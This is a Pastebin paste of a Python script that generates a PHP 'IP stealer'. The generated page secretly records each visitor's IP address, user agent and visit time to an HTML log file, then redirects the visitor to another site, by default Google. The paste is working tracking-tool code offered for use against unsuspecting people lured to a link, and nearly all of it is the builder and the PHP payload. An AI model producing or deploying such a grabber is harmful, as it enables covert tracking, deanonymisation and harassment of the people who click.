Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from urllib.request import urlopen
- def buildIP():
- print("""
- Hi, this is a php Ip stealer's builder!
- You can build here an efficient IP stealer with a few commands.
- Once the building process is done, you'll find the .php stealer
- in this directory. Let's Start!
- """)
- phpfile = input("Insert the name of the IP stealer (Without .php at the end): ")
- logs = input("Insert the name of the .htm file where IPs are stored (Without .htm at the end): ")
- location = input("Insert the URL of site redirectering (Default http://www.google.com): ")
- print("Building...")
- try:
- slocation = urlopen(location)
- print("The redirectering URL (",location,") worked")
- except Exception as e:
- location = "http://www.google.com"
- print("Setting to http://www.google.com the redirectering.")
- print(e)
- phpfile = phpfile + ".php"
- logs = logs + ".html"
- file = open(phpfile , "w+")
- file.write("""
- <?php
- header("Location: """ + location + """ ");
- $data=time();
- $data=date('Y-m-d H:i:s', $data);
- $agent = $_SERVER['HTTP_USER_AGENT'];
- $ip = getenv ('REMOTE_ADDR');
- $fp = fopen('""" + logs + """', 'a+');
- fwrite($fp, '<html>');
- fwrite($fp, 'Time of access: ' .$data. '<br>');
- fwrite($fp, 'IP: ' .$ip. ' ');
- fwrite($fp, 'User agent: ' .$agent. ' ');
- fwrite($fp, '<br><br>' );
- fwrite($fp, '</html>');
- fclose($fp);
- ?>
- """)
- file.close()
- print("Building done! See you later.")
- buildIP()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement